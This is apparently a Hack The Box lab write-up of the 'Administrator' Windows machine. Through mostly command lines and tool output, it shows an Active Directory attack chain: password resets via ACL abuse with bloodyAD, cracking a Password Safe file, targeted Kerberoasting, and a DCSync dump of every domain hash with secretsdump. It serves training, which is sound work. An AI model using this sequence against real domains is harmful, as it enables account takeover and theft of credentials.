Administrator - Hack The Box
Administrator is a Medium-rated Windows machine on Hack The Box that mimics real-world Active Directory pentesting. We start by using valid credentials for Olivia, who has access to change Michael’s password. After escalating privileges to Benjamin and gaining FTP access, we retrieve a .psafe3 file containing hashes. Cracking those hashes reveals Emily’s credentials, and using BloodHound, we identify a path for privilege escalation to Ethan. We then execute a Kerberoasting attack, crack Ethan’s hash, and gain further privileges. Finally, we dump the Administrator hash by Dsync misconfiguration.
Nmap scan
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Olivia credential validation
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Bloodhound
Next, we use BloodHound to enumerate potential privilege escalation paths for Olivia:
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20➜ Administrator bloodhound-python -ns 10.10.11.42 -d administrator.htb -u 'olivia' -p 'ichliebedich' --zip -c all --dns-tcp
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: administrator.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.administrator.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.administrator.htb
INFO: Found 11 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc.administrator.htb
INFO: Done in 01M 40S
INFO: Compressing output into 20250218120443_bloodhound.zip
➜ Administrator
Resetting Michael’s Password via Olivia’s GenericWrite
After checking Bloodhound we are able to seee that Olivia has GenericAll permission on Michael user. So we will use bloodyAD for changing password of Michael.

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2➜ Administrator bloodyAD --host '10.10.11.42' -d 'administrator.htb' -u 'olivia' -p 'ichliebedich' set password 'MICHAEL' 'ichliebedich'
[+] Password changed successfully!
Validating Credentials for Michael
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Resetting Benjamin’s Password via ForceChangePassword

Checking bloodhound again we can see Michael has ForcechangePassword permission on Benjamin user. So we use BloodyAD again to change Benjamin's password.
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2➜ Administrator bloodyAD --host '10.10.11.42' -d 'administrator.htb' -u 'michael' -p 'ichliebedich' set password 'benjamin' 'ichliebedich'
[+] Password changed successfully!
Validating Credentials for Benjamin
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FTP
Now after changing Benjamins password i don’t see that much permission or anything in Bloodhound. So i checked for FTP access, since we have FTP port 21 open.
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3➜ Administrator cme ftp administrator.htb -u 'benjamin' -p 'ichliebedich'
FTP administrator.htb 21 administrator.htb [*] Banner: Microsoft FTP Service
FTP administrator.htb 21 administrator.htb [+] benjamin:ichliebedich
After successfull authentication i was able to login and get a psafe3 file from FTP.
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25➜ Administrator ftp 10.10.11.42
Connected to 10.10.11.42.
220 Microsoft FTP Service
Name (10.10.11.42:kali): benjamin
331 Password required
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||57121|)
125 Data connection already open; Transfer starting.
10-05-24 08:13AM 952 Backup.psafe3
226 Transfer complete.
ftp> get Backup.psafe3
local: Backup.psafe3 remote: Backup.psafe3
229 Entering Extended Passive Mode (|||57124|)
125 Data connection already open; Transfer starting.
100% |*********************************************************************************************************************************************************************| 952 1.14 KiB/s 00:00 ETA
226 Transfer complete.
WARNING! 3 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
952 bytes received in 00:01 (0.79 KiB/s)
ftp> exit
221 Goodbye.
➜ Administrator
Cracking Password Safe (.psafe3) with John the Ripper
Since that .psafe3 file is password protected i used pwsafe2john to crack the password using john.
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12➜ Administrator pwsafe2john Backup.psafe3 > psafe-hash
➜ Administrator john psafe-hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (pwsafe, Password Safe [SHA256 128/128 AVX 4x])
Cost 1 (iteration count) is 2048 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tekieromucho (Backu)
1g 0:00:00:00 DONE (2025-02-18 12:16) 2.777g/s 17066p/s 17066c/s 17066C/s newzealand..iheartyou
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
➜ Administrator
With that password i opened psafe file with (pwsafe)


Validating Emily’s Credentials from Psafe for SMB
I validated all users and associated password with crackmapexec and emily was a user with valid password.
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10➜ Administrator crackmapexec smb administrator.htb -u emma -p WwANQWnmJnGV07WQN8bMS7FMAbjNur
SMB administrator.htb 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB administrator.htb 445 DC [-] administrator.htb\emma:WwANQWnmJnGV07WQN8bMS7FMAbjNur STATUS_LOGON_FAILURE
➜ Administrator crackmapexec smb administrator.htb -u alexander -p UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
SMB administrator.htb 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB administrator.htb 445 DC [-] administrator.htb\alexander:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw STATUS_LOGON_FAILURE
➜ Administrator crackmapexec smb administrator.htb -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb
SMB administrator.htb 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB administrator.htb 445 DC [+] administrator.htb\emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
➜ Administrator
Kerberoasting with GenericWrite: Cracking Ethan’s Account
After checking bloodhound, I saw emily had a GenericWrite permission on ethan user, so used targetedKerberoast.py for getting kerberoast hash of ethan.

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8➜ Administrator targetedKerberoast.py -v -d 'administrator.htb' -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[VERBOSE] SPN added successfully for (ethan)
[+] Printing hash for (ethan)
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$2c651041216ff1c252c13972700a9092$87c31393c1caa8d7c7226f2c772d7441ffd1daee5be02cbe9f6c4945c132d00ff0a99fa9c7492f98ff3b09dbdb707aad940a552ca7744779ea89d47b7a5aeeb7e264529072314ddf8eaf00a73198c15208d76054772602f4621dd487794750f02ac924c080e9e7ad4f943c89a3139722b175ad1391c8317111939cc6f854f29749ca2fa6eae9ec0d891a2c3ea425df608769a7dfd521c3c28a35eddd74b120e7304fabc4d55399edc01302bcf1352815271e201e55cec607912bac2dc805c0cdb8ce23d17fd1dc1c0af0301cd45a5bbaedadd8f178d6b8b8ccb7a9974008b6dbf1d74106115a38b36cced894d1736c051e767e67384f8c1f9766ce702c5bf817fe724457df42c4663b916cfa5e2ba543605eb119d37cf1b37b9fe574c6f5e11007e03e47c7759564319caa4db2f98c195175e2b3ec88bc835781dc8b570e37b1e55dbfddb13dc6115e8d543dde140ddab2f2bee0e045345d884264d23862a07d70b5477005cc85a2178e943bcfeb22af04925564b35c8783e54c9290ca0e0c70a38ebb49bb268af140f5a6b992be16c86728218b5cd09f69c34f03ba087b99ae167829748b3e49e168927fb73f72ce1a1ae216247128f9591e503c5820b5324ba2f1faa8258abab90caa1ca084d30af703c16b24f5be5718619fe7895238bf8c8082dae8e43239a28769c43581c14a38abde0c9eafcab7b9cbb615de04b15ca6eed670e2840f88fb10d763b8a2181ea626a0c1ab9b8d0da15c7bc04d75cde504b57e298ebdc5dcc9fac4f288bd48820850add10fc3f68baa0930894991da21563e26751b6ba39df818656ba7fc0441c3f702dc839ea64927e7a544bd9547746f4fe4001729a153d6cf562a42a895eac7d34ec94e7aa7ff512541f7325e01c76a6a857f704794de0714bf894e0e6ca89692ba230fe6c01896002579101d7aad484ea9227380d531081b334403367a2e43fadd15c009b78ef98cb429ef3091593b3115a6c891ebe664abc5a0d3408a53aac715627b257c3e4457649c0864da117d23cc47b0763bfc65a37c884dc3efca84d23f3c4af52408da5877bbdb8cd812f3399a643e75eafa320cdcdd5e17411eba5dbc2bc158580a56a54457ad027bddc10f3619db945cd131778f03a87e2d4c237a3891259d65353b979f1b0207ca5c4618602e56230168c0721e26a8a9150754826782970b1dd9c80ff91b6c3c191c1e1a0a7496f3ad902704c61de14a3a096e1a36044d6911233bdf5aa45274ea2dd8333ebd7e41c6e0dfa15c99d695d385472f794c303c5d2d21146e69db9ed1870af828ec5b380939fa0163b86a20130788a9b30c1c5c96e2acca2842c12cfb89a6a79b5e03547f14a7284604314052274aee12e7ef1ad062ce56e56bcea5011d7f098f428f238f0ab1a2631112f687ae92623d36940bac8877088aa2565fd4d594ce4f499bbe752fc90b23e9bebb6dc3b6338c40ec27c364905d905a6156e881572444df15519ed9c60cfc11482a409e3594d52ad429b1134559c8de36901300
[VERBOSE] SPN removed successfully for (ethan)
➜ Administrator
John the Ripper for Kerberos Hash Cracking
Ethan's hash was crackable and we got password.
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10➜ Administrator john kerb-hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
limpbizkit (?)
1g 0:00:00:00 DONE (2025-02-18 12:26) 20.00g/s 102400p/s 102400c/s 102400C/s newzealand..babygrl
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
➜ Administrator
Credential validation for Ethan
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Dsync
Upon checking Bloodhound again i found that ethan had Dsync permission so used secretsdump to dump all hashes.

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50➜ Administrator secretsdump.py 'administrator.htb'/'ethan':'limpbizkit'@administrator.htb
Impacket v0.13.0.dev0+20240916.171021.65b774de - Copyright Fortra, LLC and its affiliated companies
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1181ba47d45fa2c76385a82409cbfaf6:::
administrator.htb\olivia:1108:aad3b435b51404eeaad3b435b51404ee:fbaa3e2294376dc0f5aeb6b41ffa52b7:::
administrator.htb\michael:1109:aad3b435b51404eeaad3b435b51404ee:fbaa3e2294376dc0f5aeb6b41ffa52b7:::
administrator.htb\benjamin:1110:aad3b435b51404eeaad3b435b51404ee:fbaa3e2294376dc0f5aeb6b41ffa52b7:::
administrator.htb\emily:1112:aad3b435b51404eeaad3b435b51404ee:eb200a2583a88ace2983ee5caa520f31:::
administrator.htb\ethan:1113:aad3b435b51404eeaad3b435b51404ee:5c2b9f97e0620c3d307de85a93179884:::
administrator.htb\alexander:3601:aad3b435b51404eeaad3b435b51404ee:cdc9e5f3b0631aa3600e0bfec00a0199:::
administrator.htb\emma:3602:aad3b435b51404eeaad3b435b51404ee:11ecd72c969a57c34c819b41b54455c9:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:cf411ddad4807b5b4a275d31caa1d4b3:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:9d453509ca9b7bec02ea8c2161d2d340fd94bf30cc7e52cb94853a04e9e69664
Administrator:aes128-cts-hmac-sha1-96:08b0633a8dd5f1d6cbea29014caea5a2
Administrator:des-cbc-md5:403286f7cdf18385
krbtgt:aes256-cts-hmac-sha1-96:920ce354811a517c703a217ddca0175411d4a3c0880c359b2fdc1a494fb13648
krbtgt:aes128-cts-hmac-sha1-96:aadb89e07c87bcaf9c540940fab4af94
krbtgt:des-cbc-md5:2c0bc7d0250dbfc7
administrator.htb\olivia:aes256-cts-hmac-sha1-96:713f215fa5cc408ee5ba000e178f9d8ac220d68d294b077cb03aecc5f4c4e4f3
administrator.htb\olivia:aes128-cts-hmac-sha1-96:3d15ec169119d785a0ca2997f5d2aa48
administrator.htb\olivia:des-cbc-md5:bc2a4a7929c198e9
administrator.htb\michael:aes256-cts-hmac-sha1-96:409e1ae3a9e1d8531a7d9d2d83d0aa02f0d6c5a5435c621e3304b294fe32d4e9
administrator.htb\michael:aes128-cts-hmac-sha1-96:97cbb32467f5971a85b6beb994d12fdb
administrator.htb\michael:des-cbc-md5:e6851cb51f078ae3
administrator.htb\benjamin:aes256-cts-hmac-sha1-96:85c174190270b6f36bd1318ea26a22c603901a57c78f3316c96f2a334b28107f
administrator.htb\benjamin:aes128-cts-hmac-sha1-96:df0b408d253e548c4ec180a082e3a593
administrator.htb\benjamin:des-cbc-md5:f7013ec492139dc4
administrator.htb\emily:aes256-cts-hmac-sha1-96:53063129cd0e59d79b83025fbb4cf89b975a961f996c26cdedc8c6991e92b7c4
administrator.htb\emily:aes128-cts-hmac-sha1-96:fb2a594e5ff3a289fac7a27bbb328218
administrator.htb\emily:des-cbc-md5:804343fb6e0dbc51
administrator.htb\ethan:aes256-cts-hmac-sha1-96:e8577755add681a799a8f9fbcddecc4c3a3296329512bdae2454b6641bd3270f
administrator.htb\ethan:aes128-cts-hmac-sha1-96:e67d5744a884d8b137040d9ec3c6b49f
administrator.htb\ethan:des-cbc-md5:58387aef9d6754fb
administrator.htb\alexander:aes256-cts-hmac-sha1-96:b78d0aa466f36903311913f9caa7ef9cff55a2d9f450325b2fb390fbebdb50b6
administrator.htb\alexander:aes128-cts-hmac-sha1-96:ac291386e48626f32ecfb87871cdeade
administrator.htb\alexander:des-cbc-md5:49ba9dcb6d07d0bf
administrator.htb\emma:aes256-cts-hmac-sha1-96:951a211a757b8ea8f566e5f3a7b42122727d014cb13777c7784a7d605a89ff82
administrator.htb\emma:aes128-cts-hmac-sha1-96:aa24ed627234fb9c520240ceef84cd5e
administrator.htb\emma:des-cbc-md5:3249fba89813ef5d
DC$:aes256-cts-hmac-sha1-96:98ef91c128122134296e67e713b233697cd313ae864b1f26ac1b8bc4ec1b4ccb
DC$:aes128-cts-hmac-sha1-96:7068a4761df2f6c760ad9018c8bd206d
DC$:des-cbc-md5:f483547c4325492a
[*] Cleaning up...
➜ Administrator
Administrator
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